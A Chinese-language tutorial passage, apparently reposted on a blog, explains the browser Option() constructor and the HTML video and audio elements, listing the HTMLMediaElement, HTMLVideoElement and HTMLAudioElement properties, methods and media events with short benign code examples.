浏览器原生提供Option()构造函数,用来生成 HTMLOptionElement 实例。

new Option(text, value, defaultSelected, selected)

它接受四个参数,都是可选的。

  • text:字符串,表示该选项的文本内容。如果省略,返回空字符串。
  • value:字符串,表示该选项的值。如果省略,默认返回text属性的值。
  • defaultSelected:布尔值,表示该项是否默认选中,默认为false。注意,即使设为true,也不代表该项的selected属性为true
  • selected:布尔值,表示该项是否选中,默认为false
var newOption = new Option('hello', 'world', true);

newOption.text // "hello"
newOption.value // "world"
newOption.defaultSelected // true
newOption.selected // false

上面代码中,newOptiondefaultSelected属性为true,但是它没有被选中(即selected属性为false)。

<video>,<audio>

概述

<video>元素用来加载视频,是HTMLVideoElement对象的实例。<audio>元素用来加载音频,是HTMLAudioElement对象的实例。而HTMLVideoElementHTMLAudioElement都继承了HTMLMediaElement,所以这两个 HTML 元素有许多共同的属性和方法,可以放在一起介绍。

理论上,这两个 HTML 元素直接用src属性指定媒体文件,就可以使用了。

<audio src="background_music.mp3"/>
<video src="news.mov" width=320 height=240/>

注意,<video>元素有width属性和height属性,可以指定宽和高。<audio>元素没有这两个属性,因为它的播放器外形是浏览器给定的,不能指定。

实际上,不同的浏览器支持不同的媒体格式,我们不得不用<source>元素指定同一个媒体文件的不同格式。

<audio id="music">
  <source src="music.mp3" type="audio/mpeg">  
  <source src="music.ogg" type='audio/ogg; codec="vorbis"'>
</audio>

浏览器遇到支持的格式,就会忽略后面的格式。

这两个元素都有一个controls属性,只有打开这个属性,才会显示控制条。注意,<audio>元素如果不打开controls属性,根本不会显示,而是直接在背景播放。

HTMLMediaElement 接口

HTMLMediaElement并没有对应的 HTML 元素,而是作为<video><audio>的基类,定义一些它们共同的属性和方法。

HTMLMediaElement接口有以下属性。

  • HTMLMediaElement.audioTracks:返回一个类似数组的对象,表示媒体文件包含的音轨。
  • HTMLMediaElement.autoplay:布尔值,表示媒体文件是否自动播放,对应 HTML 属性autoplay
  • HTMLMediaElement.buffered:返回一个 TimeRanges 对象,表示浏览器缓冲的内容。该对象的length属性返回缓存里面有多少段内容,start(rangeId)方法返回指定的某段内容(从0开始)开始的时间点,end()返回指定的某段内容结束的时间点。该属性只读。
  • HTMLMediaElement.controls:布尔值,表示是否显示媒体文件的控制栏,对应 HTML 属性controls
  • HTMLMediaElement.controlsList:返回一个类似数组的对象,表示是否显示控制栏的某些控件。该对象包含三个可能的值:nodownloadnofullscreennoremoteplayback。该属性只读。
  • HTMLMediaElement.crossOrigin:字符串,表示跨域请求时是否附带用户信息(比如 Cookie),对应 HTML 属性crossorigin。该属性只有两个可能的值:anonymoususe-credentials
  • HTMLMediaElement.currentSrc:字符串,表示当前正在播放的媒体文件的绝对路径。该属性只读。
  • HTMLMediaElement.currentTime:浮点数,表示当前播放的时间点。
  • HTMLMediaElement.defaultMuted:布尔值,表示默认是否关闭音量,对应 HTML 属性muted
  • HTMLMediaElement.defaultPlaybackRate:浮点数,表示默认的播放速率,默认是1.0。
  • HTMLMediaElement.disableRemotePlayback:布尔值,是否允许远程回放,即远程回放的时候是否会有工具栏。
  • HTMLMediaElement.duration:浮点数,表示媒体文件的时间长度(单位秒)。如果当前没有媒体文件,该属性返回0。该属性只读。
  • HTMLMediaElement.ended:布尔值,表示当前媒体文件是否已经播放结束。该属性只读。
  • HTMLMediaElement.error:返回最近一次报错的错误对象,如果没有报错,返回null
  • HTMLMediaElement.loop:布尔值,表示媒体文件是否会循环播放,对应 HTML 属性loop
  • HTMLMediaElement.muted:布尔值,表示音量是否关闭。
  • HTMLMediaElement.networkState:当前网络状态,共有四个可能的值。0表示没有数据;1表示媒体元素处在激活状态,但是还没开始下载;2表示下载中;3表示没有找到媒体文件。
  • HTMLMediaElement.paused:布尔值,表示媒体文件是否处在暂停状态。该属性只读。
  • HTMLMediaElement.playbackRate:浮点数,表示媒体文件的播放速度,1.0是正常速度。如果是负数,表示向后播放。
  • HTMLMediaElement.played:返回一个 TimeRanges 对象,表示播放的媒体内容。该属性只读。
  • HTMLMediaElement.preload:字符串,表示应该预加载哪些内容,可能的值为nonemetadataauto
  • HTMLMediaElement.readyState:整数,表示媒体文件的准备状态,可能的值为0(没有任何数据)、1(已获取元数据)、2(可播放当前帧,但不足以播放多个帧)、3(可以播放多帧,至少为两帧)、4(可以流畅播放)。该属性只读。
  • HTMLMediaElement.seekable:返回一个 TimeRanges 对象,表示一个用户可以搜索的媒体内容范围。该属性只读。
  • HTMLMediaElement.seeking:布尔值,表示媒体文件是否正在寻找新位置。该属性只读。
  • HTMLMediaElement.src:字符串,表示媒体文件所在的 URL,对应 HTML 属性src
  • HTMLMediaElement.srcObject:返回src属性对应的媒体文件资源,可能是MediaStreamMediaSourceBlobFile对象。直接指定这个属性,就可以播放媒体文件。
  • HTMLMediaElement.textTracks:返回一个类似数组的对象,包含所有文本轨道。该属性只读。
  • HTMLMediaElement.videoTracks:返回一个类似数组的对象,包含多有视频轨道。该属性只读。
  • HTMLMediaElement.volume:浮点数,表示音量。0.0 表示静音,1.0 表示最大音量。

HTMLMediaElement接口有如下方法。

  • HTMLMediaElement.addTextTrack():添加文本轨道(比如字幕)到媒体文件。
  • HTMLMediaElement.captureStream():返回一个 MediaStream 对象,用来捕获当前媒体文件的流内容。
  • HTMLMediaElement.canPlayType():该方法接受一个 MIME 字符串作为参数,用来判断这种类型的媒体文件是否可以播放。该方法返回一个字符串,有三种可能的值,probably表示似乎可播放,maybe表示无法在不播放的情况下判断是否可播放,空字符串表示无法播放。
  • HTMLMediaElement.fastSeek():该方法接受一个浮点数作为参数,表示指定的时间(单位秒)。该方法将媒体文件移动到指定时间。
  • HTMLMediaElement.load():重新加载媒体文件。
  • HTMLMediaElement.pause():暂停播放。该方法没有返回值。
  • HTMLMediaElement.play():开始播放。该方法返回一个 Promise 对象。

下面是play()方法的一个例子。

var myVideo = document.getElementById('myVideoElement');

myVideo
.play()
.then(() => {
  console.log('playing');
})
.catch((error) => {
  console.log(error);
});

HTMLVideoElement 接口

HTMLVideoElement接口代表了<video>元素。这个接口继承了HTMLMediaElement接口,并且有一些自己的属性和方法。

HTMLVideoElement 接口的属性。

  • HTMLVideoElement.height:字符串,表示视频播放区域的高度(单位像素),对应 HTML 属性height
  • HTMLVideoElement.width:字符串,表示视频播放区域的宽度(单位像素),对应 HTML 属性width
  • HTMLVideoElement.videoHeight:该属性只读,返回一个整数,表示视频文件自身的高度(单位像素)。
  • HTMLVideoElement.videoWidth:该属性只读,返回一个整数,表示视频文件自身的宽度(单位像素)。
  • HTMLVideoElement.poster:字符串,表示一个图像文件的 URL,用来在无法获取视频文件时替代显示,对应 HTML 属性poster

HTMLVideoElement 接口的方法。

  • HTMLVideoElement.getVideoPlaybackQuality():返回一个对象,包含了当前视频回放的一些数据。

HTMLAudioElement 接口

HTMLAudioElement接口代表了<audio>元素。

该接口继承了HTMLMediaElement,但是没有定义自己的属性和方法。浏览器原生提供一个Audio()构造函数,返回的就是HTMLAudioElement实例。

var song = new Audio([URLString]);

Audio()构造函数接受一个字符串作为参数,表示媒体文件的 URL。如果省略这个参数,可以稍后通过src属性指定。

生成HTMLAudioElement实例以后,不用插入 DOM,可以直接用play()方法在背景播放。

var a = new Audio();
if (a.canPlayType('audio/wav')) {
  a.src = 'soundeffect.wav';
  a.play();
}

事件

<video><audio>元素有以下事件。

  • loadstart:开始加载媒体文件时触发。
  • progress:媒体文件加载过程中触发,大概是每秒触发2到8次。
  • loadedmetadata:媒体文件元数据加载成功时触发。
  • loadeddata:当前播放位置加载成功后触发。
  • canplay:已经加载了足够的数据,可以开始播放时触发,后面可能还会请求数据。
  • canplaythrough:已经加载了足够的数据,可以一直播放时触发,后面不需要继续请求数据。
  • suspend:已经缓冲了足够的数据,暂时停止下载时触发。
  • stalled:尝试加载数据,但是没有数据返回时触发。
  • play:调用play()方法时或自动播放启动时触发。如果已经加载了足够的数据,这个事件后面会紧跟playing事件,否则会触发waiting事件。
  • waiting:由于没有足够的缓存数据,无法播放或播放停止时触发。一旦缓冲数据足够开始播放,后面就会紧跟playing事件。
  • playing:媒体开始播放时触发。
  • timeupdate:currentTime属性变化时触发,每秒可能触发4到60次。
  • pause:调用pause()方法、播放暂停时触发。
  • seeking:脚本或者用户要求播放某个没有缓冲的位置,播放停止开始加载数据时触发。此时,seeking属性返回true
  • seeked:seeking属性变回false时触发。
  • ended:媒体文件播放完毕时触发。
  • durationchange:duration属性变化时触发。
  • volumechange:音量变化时触发。
  • ratechange:播放速度或默认的播放速度变化时触发。
  • abort:停止加载媒体文件时触发,通常是用户主动要求停止下载。
  • error:网络或其他原因导致媒体文件无法加载时触发。
  • emptied:由于errorabort事件导致networkState属性变成无法获取数据时触发。
posted on 2023-01-03 16:51  阿不思的落胤  阅读(427)  评论(0编辑  收藏  举报